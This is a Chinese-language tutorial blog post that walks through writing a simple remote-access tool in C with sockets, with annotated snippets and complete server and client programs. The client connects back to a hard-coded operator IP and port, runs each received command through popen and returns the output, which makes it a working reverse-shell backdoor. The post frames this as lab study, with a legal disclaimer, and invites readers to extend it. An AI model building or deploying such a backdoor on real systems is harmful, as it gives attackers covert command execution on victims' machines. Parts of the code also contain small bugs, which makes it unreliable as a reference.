利用socket來實現簡單遠控
- 🔹 免責聲明
- ?? 重要提示
- 一、什么是socket?
- 二、如何使用socket來實現兩臺計算機之間的通信?
- 服務端
- 1、首先需要創建一個socket;
- 2、綁定IP以及端口
- 3、開啟監聽
- 4、接受客戶端連接
- 5、客戶端連接上之后就是命令執行
- 完整的服務端代碼
- 客戶端
- 1、首先就是創建一個socket并且連接到遠程計算機
- 2、之后就是利用while循環來執行服務端發送過來的命令
- 完整的客戶端代碼
🔹 免責聲明
本篇文章僅用于 技術研究、網絡安全學習與合法運維管理,旨在幫助理解 Socket 網絡編程 及 遠程控制技術(RAT) 的實現原理。所有示例代碼和技術講解均在本地運行。
?? 重要提示
- 嚴禁 在未經授權的情況下,擅自使用本文涉及的技術對任何計算機、服務器或網絡進行未經許可的訪問、控制或破壞。
- 嚴禁 將本文提供的知識用于非法目的,包括但不限于 惡意入侵、數據竊取、黑客攻擊 等行為。
- 任何因濫用本文技術所造成的法律責任,均由使用者自行承擔,我本人及本文概不負責!
下邊開始講解如何利用socket來實現遠程控制
遠程控制,顧名思義就是使用本地計算機控制遠程計算機,要實現兩者之間的通信就是一個重要的問題,那么使用socket(又稱作套接字)來實現兩者之間的通信是一個不錯的選擇。
一、什么是socket?
socket(套接字)是網絡編程中用于 兩臺計算機之間通信的端點。它是 TCP/IP 網絡通信的基礎,支持數據發送和接收,可以在本地或遠程設備之間建立連接。
二、如何使用socket來實現兩臺計算機之間的通信?
在c語言中,socket主要用于TCP/IP或UDP,考慮通信的可靠性,可以使用socket來創建一個TCP通信的端點。
要實現遠控,需要在本地計算機上運行一個服務端,并且在靶機上運行一個客戶端,而socket就是兩者實現通信的橋梁,下邊就來介紹如何使用c語言編寫服務端和客戶端。
服務端
1、首先需要創建一個socket;
int sock_fd, client_socket_fd;struct sockaddr_in server_addr, client_addr;socklen_t addr_len = sizeof(client_addr);sock_fd = socket(AF_INET, SOCK_STREAM, 0);if (sock_fd == -1) {perror("? creat socket faild!\n");exit(1);}
可以看到存在一個結構體sockaddr_in,它定義在<netinet/in.h>頭文件中;
struct sockaddr_in {sa_family_t sin_family; // 地址族,必須是 AF_INET(IPv4)in_port_t sin_port; // 端口號(需要用 htons() 轉換)struct in_addr sin_addr; // IP 地址(用 inet_addr() 或 inet_pton() 賦值)char sin_zero[8]; // 填充字段(一般不用)
};
2、綁定IP以及端口
server_addr.sin_family = AF_INET;server_addr.sin_addr.s_addr = inet_addr("192.168.239.131");server_addr.sin_port = htons(PORT);if( bind(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1){perror("? bind faild!\n");close(sock_fd);exit(1);}
可以看到這一步就定義了server_addr結構體中的sin_family、sin_addr、sin_port詳細信息,因為我本地虛擬機的ip地址是192.168.239.131,因此我將server_addr.sin_addr.s_addr綁定為本地計算機ip地址;端口可以自己設置,一般使用比較大的端口,防止端口被占用。
3、開啟監聽
if(listen(sock_fd, 5) == -1){perror("? listen faild!\n");close(sock_fd);exit(1);}
listen函數原型:
int listen(int sockfd, int backlog);
sockfd就是服務器socket文件描述符,也就是socket()的返回值;
backlog是最大等待連接數;
如果成功則返回0,失敗則返回-1;
4、接受客戶端連接
client_socket_fd = accept(sock_fd, (struct sockaddr *)&client_addr, &addr_len);if (client_socket_fd == -1){perror("? connection faild!\n");close(sock_fd);exit(1);}
如果成功連接則返回一個新的socket文件描述符,失敗則返回-1;
5、客戶端連接上之后就是命令執行
printf("? target is on!\n");execute_command(client_socket_fd);close(client_socket_fd);close(sock_fd);
運行完之后關閉進程;
execute_command():
void execute_command(int client_socket_fd){char buf[1024];char command[1024];int recv_bytes;while (1) {printf("shell>>");fgets(command, sizeof(command), stdin);if(send(client_socket_fd, command, strlen(command), 0) == -1){perror("? send faild!!\n");break;}memset(buf, 0, sizeof(buf));recv_bytes = recv(client_socket_fd, buf, sizeof(buf) - 1, 0);if (recv_bytes > 0){buf[recv_bytes] = '\0';printf("the output:\n%s\n", buf);}else if (recv_bytes == 0){perror("? recv message faild!!\n");break;} else {perror("? recv() faild!!\n");break;}}
}
通過send()、recv()函數來實現計算機之間的數據發送與接收;
這里我對與回顯為空的命令強制返回了字符串,避免服務端因為接收不到數據而卡住的情況。
完整的服務端代碼
//by lee
//https://blog.csdn.net/weixin_51055545?type=blog
//gcc server.c -o server
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>#define PORT 1337void banner(){printf("creat by Lee\n");printf("version 1.0\n");
}void execute_command(int client_socket_fd){char buf[1024];char command[1024];int recv_bytes;while (1) {printf("shell>>");fgets(command, sizeof(command), stdin);if(send(client_socket_fd, command, strlen(command), 0) == -1){perror("? send faild!!\n");break;}memset(buf, 0, sizeof(buf));recv_bytes = recv(client_socket_fd, buf, sizeof(buf) - 1, 0);if (recv_bytes > 0){buf[recv_bytes] = '\0';printf("the output:\n%s\n", buf);}else if (recv_bytes == 0){perror("? recv message faild!!\n");break;} else {perror("? recv() faild!!\n");break;}}
}int main(){banner();int sock_fd, client_socket_fd;struct sockaddr_in server_addr, client_addr;socklen_t addr_len = sizeof(client_addr);sock_fd = socket(AF_INET, SOCK_STREAM, 0);if (sock_fd == -1) {perror("? creat socket faild!\n");exit(1);}server_addr.sin_family = AF_INET;server_addr.sin_addr.s_addr = inet_addr("192.168.239.131");server_addr.sin_port = htons(PORT);if( bind(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1){perror("? bind faild!\n");close(sock_fd);exit(1);}if(listen(sock_fd, 5) == -1){perror("? listen faild!\n");close(sock_fd);exit(1);}printf("🕤 listing...\n");sleep(3);printf("🕤 waiting for target...\n");client_socket_fd = accept(sock_fd, (struct sockaddr *)&client_addr, &addr_len);if (client_socket_fd == -1){perror("? connection faild!\n");close(sock_fd);exit(1);}printf("? target is on!\n");execute_command(client_socket_fd);close(client_socket_fd);close(sock_fd);return 0;
}
客戶端
1、首先就是創建一個socket并且連接到遠程計算機
//by lee
//gcc server.c -o server
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>#define SERVER_IP "192.168.239.131"
#define SERVER_PORT 1337int main() {int sock;struct sockaddr_in server_addr;char command[1024];char result[4096] = {0};sock = socket(AF_INET, SOCK_STREAM, 0);if (sock == -1) {perror("? can not creat socket");exit(EXIT_FAILURE);}server_addr.sin_family = AF_INET;server_addr.sin_port = htons(SERVER_PORT);server_addr.sin_addr.s_addr = inet_addr(SERVER_IP);printf("🕤 wait for connection...");if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {perror("? can not connect to server_ip");close(sock);exit(EXIT_FAILURE);}printf("? connect to %s:%d success", SERVER_IP, SERVER_PORT);
道理和服務端一樣,不贅述;
2、之后就是利用while循環來執行服務端發送過來的命令
while (1) {memset(command, 0, sizeof(command));int recv_bytes = recv(sock, command, sizeof(command) - 1, 0);if (recv_bytes <= 0) {printf("? connection is break\n");break;}command[recv_bytes] = '\0';//確保接收到的命令完整;if (strncmp(command, "exit", 4) == 0) {printf("🔴 break connection\n");break;}FILE *fp = popen(command, "r"); // 執行command;if (fp == NULL) {char *error_msg = "? can not execute command\n";send(sock, error_msg, strlen(error_msg), 0);continue;}memset(result, 0, sizeof(result));fread(result, 1, sizeof(result) - 1, fp);if (strlen(result)==0){strcpy(result,"no output");//返回值為空,就強制返回no output;break;}result[strlen(result)] = '\0';pclose(fp);send(sock, result, strlen(result), 0);}
完整的客戶端代碼
//by lee
//gcc server.c -o server
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>#define SERVER_IP "192.168.239.131"
#define SERVER_PORT 1337int main() {int sock;struct sockaddr_in server_addr;char command[1024];char result[4096] = {0};sock = socket(AF_INET, SOCK_STREAM, 0);if (sock == -1) {perror("? can not creat socket");exit(EXIT_FAILURE);}server_addr.sin_family = AF_INET;server_addr.sin_port = htons(SERVER_PORT);server_addr.sin_addr.s_addr = inet_addr(SERVER_IP);printf("🕤 wait for connection...");if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {perror("? can not connect to server_ip");close(sock);exit(EXIT_FAILURE);}printf("? connect to %s:%d success", SERVER_IP, SERVER_PORT);while (1) {memset(command, 0, sizeof(command));int recv_bytes = recv(sock, command, sizeof(command) - 1, 0);if (recv_bytes <= 0) {printf("? connection is break\n");break;}command[recv_bytes] = '\0';if (strncmp(command, "exit", 4) == 0) {printf("🔴 break connection\n");break;}FILE *fp = popen(command, "r"); // execute shell commandif (fp == NULL) {char *error_msg = "? can not execute command\n";send(sock, error_msg, strlen(error_msg), 0);continue;}memset(result, 0, sizeof(result));fread(result, 1, sizeof(result) - 1, fp);if (strlen(result)==0){strcpy(result,"no output");break;}result[strlen(result)] = '\0';pclose(fp);send(sock, result, strlen(result), 0);}close(sock);return 0;
}
使用方法及運行效果
在本地計算機運行服務端
./server
此時等待靶機去連接;
在靶機中運行客戶端
./client
此時再回到服務端計算機中,顯示:
此時就可以輸入命令來控制靶機了;
感興趣的師傅們還可以在上述的代碼進行添加和更改來添加更多功能!